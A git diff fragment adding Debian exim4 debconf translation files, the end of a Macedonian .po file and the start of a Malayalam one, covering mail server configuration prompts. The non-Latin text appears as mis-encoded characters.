+msgid "Multiple user names need to be separated by spaces."
+msgstr "ВнеÑи едно или повеќе кориÑнички имиња одвоени од празни меÑта."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ИП адреÑа за која ќе Ñлушаат дојдовните СМТП конекции:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ðко ја оÑтавиш оваа вредноÑÑ‚ празна, Exim ќе Ñлуша за конекции на СМТП "
+"портот на Ñите доÑтапни мрежни интерфејÑи."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ðко твојот компјутер не прима пошта директно преку СМТП од ДРУГИ компјутери, "
+"туку Ñамо од локални ÑервиÑи како fetchmail или твојот клиент за е-пошта "
+"(MUA) треба да ги забраниш надворешните конекции кон Exim тука внеÑувајќи "
+"127.0.0.1. Со ова забрануваш Ñлушање на јавните мрежни интерфејÑи."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Држи го минимален бројот на ДÐС прашувања (Вртење-по-потреба)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Во нормален режим на работа Exim прави ДÐС-пребарувања при пуштање, кога "
+"прима или праќа порака и Ñл. за логирање или за да го држи бројот на цврÑто "
+"внеÑени вредноÑти во конфигурационата датотека мал."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ðко ова е компјутер без поÑтојан приÑтап до ДÐС Ñервер кој кориÑти вртење-по-"
+"потреба ова може да предизвика неÑакани поÑледици така што при Ñтартување на "
+"exim или работа Ñо поштата(и без пораки) ќе Ñе прават непотребни вртења кон "
+"интернет провајдерот."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+#, fuzzy
+msgid "Mail Server configuration"
+msgstr "Главен тип на конфигурација за пошта:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Подели ја конфигурацијата во помали датотеки?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Exim4 пакетите на Дебиан може да кориÑтат една голема монолитна датотека (/"
+"etc/exim4/exim4.conf.template) или околу 40 мали датотеки во /etc/exim4/conf."
+"d/ од кои Ñе генерира крајната конфигурација."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Првото е подоборо за големи промени и најчеÑто е поÑтабилно, додека второто "
+"овозможува убав начин да Ñе прават помали промени, но е понежно и може да Ñе "
+"раÑипе ако Ñе менуваат многу работи."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Сокриј го локалното поштенÑко име во надворешната пошта?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Заглавјата во надворешната пошта можат да бидат препишани така што би "
+"изгледале како да Ñе Ñоздадени на друг ÑиÑтем. Сменувајќи го "
+"„${mailname}“ „localhost“ и „${dc_other_hostnames}“ во From, Reply-To, "
+"Sender и Return-Path полињата."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+#, fuzzy
+msgid "Delivery method for local mail:"
+msgstr "пошта пратена преку друг домаќин - нема локална пошта"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "ПремеÑти ги Ñеуште недоÑтавените пораки од exim(в3) во exim4 редот на "
+#~ "праќање?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Има некои неиÑпратени порарки во директорумот за праќање на exim или exim-"
+#~ "ls во /var/spool/exim/input. Тие Ñега може да бидат премеÑтени во "
+#~ "директорумот за праќање на exim4 (/var/spool/exim4/input/) каде ќе бидат "
+#~ "обработени од exim4."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Имај на ум дека ова работи Ñамо во еден правец, exim4 може да работи Ñо "
+#~ "exim(v3) директорумот за праќање но не обратно."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "ПремеÑти ги пораките Ñамо ако не планираш да Ñе вратиш на exim(в3), во "
+#~ "друг Ñлучај поштата не треба да биде премеÑтена Ñега туку рачно откога ќе "
+#~ "ги премеÑтиш поÑтавките."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Ðко има повеќе, внеÑи ги тука одвоени Ñо две точки. Може да го оÑтавиш "
+#~ "ова празно ако нема повеќе."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Те молам тука внеÑи ги домејните за кои прифаќаш да ја препраќаш поштата."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Такви домејни Ñе домејни за кои Ñи подготвен да прифаќаш пошта од било "
+#~ "каде на интернет. Ðе ги Ñпомнувај локалните домејни тука."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Домејните кои ќе ги внеÑеш тука треба да бидат одбоени Ñо две точки. "
+#~ "Ðокери може да Ñе кориÑтат."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Бидејќи Ñи овозможил криење на поштенÑкото име во надворешна пошта, мора "
+#~ "да Ñпецифицираш домејн име кое ќе Ñе кориÑти за пошта од локалните "
+#~ "кориÑници. Типично ова е машината на која нормално примаш пошта."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Каде твоите кориÑници ќе ја читаат нивната пошта?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Машини кои ја обработуваат поштата за праќање за оваа машина:"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "ВнеÑи го хоÑтнејмот на машината на која ќе и биде праќана надворешната "
+#~ "пошта."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Овомозжи ја оваа опција ако кориÑтиш вретење-по-потреба, во друг Ñлучај "
+#~ "иÑклучи ја."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Избери го типот на конфигурација кој најдобро ти одговара."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Ðко не Ñи Ñигурен тогаш не треба ја кориÑтиш поделената конфигурација."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "рачно конвертирај од рачно поÑтавената конфигурација на exim в3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Конфигурирај Exim4 рачно?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Индицираше дека имаш рачно изработенa Exim3 конфигурација. За да ја "
+#~ "префрлиш оваа во Exim4, може да ја кориÑтиш exim_convert4r4(8) алатката "
+#~ "по инÑталација. КонÑултирај Ñе Ñо /usr/share/doc/exim4-base/examples/"
+#~ "example.conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Се додека твојот ÑиÑтем за пошта не е конфигуриран ќе биде раÑипан и не "
+#~ "ќе може да Ñе кориÑти."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Твоето „поштенÑко име“ е хоÑтнејм делот од адреÑата која ќе биде "
+#~ "прикажана на пораките (Ñледувајќи по кориÑничкото име и @ знакот) оÑвен "
+#~ "ако не е Ñокриено при препишување."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Те молам тука внеÑи ги мрежите за локалните машини за кои прифаќаш да "
+#~ "препраќаш пошта."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Ова треба да Ñодржи лиÑта на Ñите машини кои ќе не кориÑтат Ð½Ð°Ñ ÐºÐ°ÐºÐ¾ "
+#~ "препраќач на поштата."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Треба да ги дуплираш двете точки во IPv6 адреÑите (пр. "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "ВнеÑи лиÑта на ИП адреÑи одвоени Ñо две точки за кои ќе Ñлуша. Треба да "
+#~ "ги удвоиш двете точки во IPv6 адреÑи (пр. 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Конфигурација на Exim в4 (exim4-config)"
diff --git a/debian/po/ml.po b/debian/po/ml.po
new file mode 100644
index 0000000..696320a
--- /dev/null
+++ b/debian/po/ml.po
@@ -0,0 +1,631 @@
+# Translation of exim4 to malayalam
+# Copyright (c) 2006 exim4's copyright holder
+# Praveen A <pravi.a@gmail.com> , 2008.
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-05-04 14:51-0800\n"
+"Last-Translator: Praveen|à´ªàµà´°à´µàµ€à´£àµâ€ A|à´Ž <pravi.a@gmail.com>\n"
+"Language-Team: Swathanthra Malayalam Computing <smc-discuss@googlegroups."
+"com>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: LoKalize 0.2\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿà´¿à´²àµà´³àµà´³ à´Žà´¤àµà´¤à´¿à´•àµà´•à´¾à´¨àµâ€ പറàµà´±à´¾à´¤àµà´¤ à´•à´¤àµà´¤àµà´•à´³àµâ€ നീകàµà´•à´£àµ‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"à´Žà´•àµà´¸à´¿à´®à´¿à´¨àµà´±àµ† à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿà´¾à´¯ /var/spool/exim4/input à´²àµâ€ ഇതൠവരെ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤ à´•à´¤àµà´¤àµà´•à´³àµà´£àµà´Ÿàµàµ. "
+"à´Žà´•àµà´¸à´¿à´‚ നീകàµà´•àµà´¨àµà´¨à´¤àµàµ à´…à´µ à´Žà´•àµà´¸à´¿à´‚ വീണàµà´Ÿàµà´‚ ഇനàµâ€à´¸àµà´±àµà´±àµ‹à´³àµâ€ ചെയàµà´¯àµà´¨àµà´¨à´¤àµàµ വരെ à´Žà´¤àµà´¤à´¿à´¯àµà´•àµà´•à´¾à´¤àµà´¤à´¤à´¾à´¯à´¿ നിരàµâ€à´¤àµà´¤àµà´‚."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"à´ˆ à´à´šàµà´›à´¿à´•à´‚ തെരഞàµà´žàµ†à´Ÿàµà´¤àµà´¤à´¿à´Ÿàµà´Ÿà´¿à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´¸àµà´ªàµ‚à´³àµâ€ തടàµà´Ÿàµàµ പിനàµà´¨àµ€à´ŸàµŠà´°àµ ദിവസം à´Žà´•àµà´¸à´¿à´‚ വീണàµà´Ÿàµà´‚ "
+"ഇനàµâ€à´¸àµà´±àµà´±àµ‹à´³àµâ€à´šàµ†à´¯àµà´¤à´¤à´¿à´¨àµàµ ശേഷം വരിയിലàµà´³àµà´³ സനàµà´¦àµ‡à´¶à´™àµà´™à´³àµâ€ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨àµàµ à´…à´¨àµà´µà´¦à´¿à´šàµà´šàµà´•àµŠà´£àµà´Ÿàµàµ സൂകàµà´·à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¾à´£àµàµ."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "à´ˆ പാകàµà´•àµ‡à´œà´¿à´¨àµ പകരം exim4-config പാകàµà´•àµ‡à´œàµ à´ªàµà´¨à´ƒà´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµà´•"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"à´Žà´•àµà´¸à´¿à´‚4 à´¨àµàµ അതിനàµà´±àµ† à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´¨à´¾à´¯à´¿ à´ªàµà´°à´¤àµà´¯àµ‡à´•à´‚ മാറàµà´±à´¿à´µà´šàµà´š ഒരൠപാകàµà´•àµ‡à´œàµà´£àµà´Ÿàµ, exim4-config. "
+"നിങàµà´™à´³àµâ€à´•àµà´•àµàµ à´Žà´•àµà´¸à´¿à´‚4 à´ªàµà´¨à´ƒà´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•à´£à´®àµ†à´¨àµà´¨àµà´£àµà´Ÿàµ†à´™àµà´•à´¿à´²àµâ€ dpkg-reconfigure exim4-config "
+"ഉപയോഗികàµà´•àµ‚."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±àµ സൈറàµà´±àµ; à´•à´¤àµà´¤àµàµ à´Žà´¸àµâ€‹à´Žà´‚ടിപി ഉപയോഗിചàµà´šàµàµ നേരിടàµà´Ÿàµàµ അയയàµà´•àµà´•àµà´•à´¯àµà´‚ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´•à´¯àµà´‚ ചെയàµà´¯àµà´¨àµà´¨àµ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ വഴി à´•à´¤àµà´¤àµàµ അയയàµà´•àµà´•àµà´¨àµà´¨àµ; à´Žà´¸àµâ€‹à´Žà´‚ടിപി à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ ഫെചàµà´®àµ†à´¯à´¿à´²àµâ€ വഴി à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ വഴി à´•à´¤àµà´¤àµàµ അയയàµà´•àµà´•àµà´¨àµà´¨àµ; à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´• à´•à´¤àµà´¤àµŠà´¨àµà´¨àµà´®à´¿à´²àµà´²"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ മാതàµà´°à´®àµ†à´¤àµà´¤à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨àµ; ഒരൠശൃംഖലയിലലàµà´²"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ഇപàµà´ªàµ‹à´³àµâ€ à´•àµà´°à´®àµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨à´¿à´²àµà´²"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "à´•à´¤àµà´¤à´¿à´¨àµà´±àµ† à´•àµà´°à´®àµ€à´•à´°à´£à´¤àµà´¤à´¿à´¨àµà´±àµ† പൊതàµà´µà´¿à´²àµà´³àµà´³ തരം:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "ദയവായി നിങàµà´™à´³àµà´Ÿàµ† ആവശàµà´¯à´™àµà´™à´³àµâ€à´•àµà´•à´¿à´£à´™àµà´™àµà´¨àµà´¨ à´•à´¤àµà´¤àµàµ സേവക à´•àµà´°à´®àµ€à´•à´°à´£à´‚ തെരഞàµà´žàµ†à´Ÿàµà´•àµà´•àµà´•."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ഡയലàµâ€ അപൠസിസàµà´±àµà´±à´™àµà´™à´³àµà´³àµâ€à´ªàµà´ªàµ†à´Ÿàµ†à´¯àµà´³àµà´³ മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ സിസàµà´±àµà´±à´™àµà´™à´³àµâ€ സാധാരണയായി "
+"à´ªàµà´±à´¤àµà´¤àµ‡à´•àµà´•àµà´³àµà´³ à´•à´¤àµà´¤àµàµ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤à´¿à´¨à´¾à´¯à´¿ \"à´¸àµà´®à´¾à´°àµâ€à´Ÿàµà´Ÿàµà´¹àµ‹à´¸àµà´±àµà´±àµ\" à´Žà´¨àµà´¨àµ വിളികàµà´•àµà´¨àµà´¨ മറàµà´±àµŠà´°àµ മഷീനിലേയàµà´•àµà´•àµàµ "
+"അയയàµà´•àµà´•à´¾à´¨à´¾à´¯à´¿ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµ‡à´£àµà´Ÿà´¤àµà´£àµà´Ÿàµàµ, കാരണം ഇനàµà´±à´°àµâ€à´¨àµ†à´±àµà´±à´¿à´²àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•àµà´¨àµà´¨ പല സിസàµà´±àµà´±à´™àµà´™à´³àµà´‚ "
+"മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ സിസàµà´±àµà´±à´™àµà´™à´³à´¿à´²àµâ€ നിനàµà´¨àµ വരàµà´¨àµà´¨ à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´ªà´¾à´‚ "
+"സംരകàµà´·à´£à´¤àµà´¤à´¿à´¨à´¾à´¯à´¿ തടയാറàµà´£àµà´Ÿàµàµ."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"മാറികàµà´•àµŠà´£àµà´Ÿà´¿à´°à´¿à´•àµà´•àµà´¨àµà´¨ à´à´ªà´¿ വിലാസങàµà´™à´³àµà´³àµà´³ ഒരൠസിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµàµ à´¸àµà´µà´¨àµà´¤à´‚ à´•à´¤àµà´¤àµà´•à´³àµâ€ à´¸àµà´µàµ€à´•à´°à´¿à´¯àµà´•àµà´•à´¾à´‚ "
+"à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ à´ªàµà´°à´¾à´¦àµ‡à´¶à´¿à´•à´®à´¾à´¯à´¿ à´Žà´¤àµà´¤à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ പൂരàµâ€à´£à´®à´¾à´¯àµà´‚ ഒഴിവാകàµà´•à´¾à´‚ (റൂടàµà´Ÿà´¿à´¨àµà´‚ പോസàµà´±àµà´±àµà´®à´¾à´¸àµà´±àµà´±à´°àµâ€à´•àµà´•àµà´®àµà´³àµà´³ "
+"à´•à´¤àµà´¤àµà´•à´³àµŠà´´à´¿à´•àµ†)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "തപാലàµâ€ സിസàµà´±àµà´±à´‚ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•à´¾à´¤àµ†à´¯à´¿à´Ÿà´£à´‚ à´Žà´¨àµà´¨àµà´±à´ªàµà´ªà´¾à´£àµ‹?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"തപാലàµâ€ സിസàµà´±àµà´±à´‚ à´•àµà´°à´®àµ€à´•à´°à´¿à´•àµà´•àµà´¨àµà´¨à´¤àµàµ വരെ à´…à´¤àµàµ കേടായàµà´‚ ഉപയോഗിയàµà´•àµà´•à´¾à´¨àµâ€ പറàµà´±à´¾à´¤àµà´¤à´¤àµà´®à´¾à´¯à´¿à´°à´¿à´¯àµà´•àµà´•àµà´‚. "
+"കൈയàµà´ªà´¯àµ‹à´—à´¿à´šàµà´šàµàµ à´…à´²àµà´²àµ†à´™àµà´•à´¿à´²àµâ€ റൂടàµà´Ÿà´¾à´¯à´¿ \"dpkg-reconfigure exim4-config\" à´Žà´¨àµà´¨àµ‹à´Ÿà´¿à´šàµà´šàµ ഇതàµàµ "
+"പിനàµà´¨àµ€à´Ÿàµàµ à´•àµà´°à´®àµ€à´•à´°à´¿à´¯àµà´•àµà´•à´¾à´‚."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "സിസàµà´±àµà´±à´¤àµà´¤à´¿à´¨àµà´±àµ† തപാലàµâ€ നാമം:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"തപാലàµâ€ നാമം\" à´Žà´¨àµà´¨à´¤àµàµ ഡൊമൈനàµâ€ നാമമിലàµà´²à´¾à´¤àµà´¤ തപാലàµâ€ വിലാസങàµà´™à´³àµ† \"യോഗàµà´¯à´®à´¾à´•àµà´•à´¾à´¨àµâ€\" ഉപയോഗികàµà´•àµà´¨àµà´¨ "
+"ഡൊമൈനàµâ€ നാമമാണàµàµ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
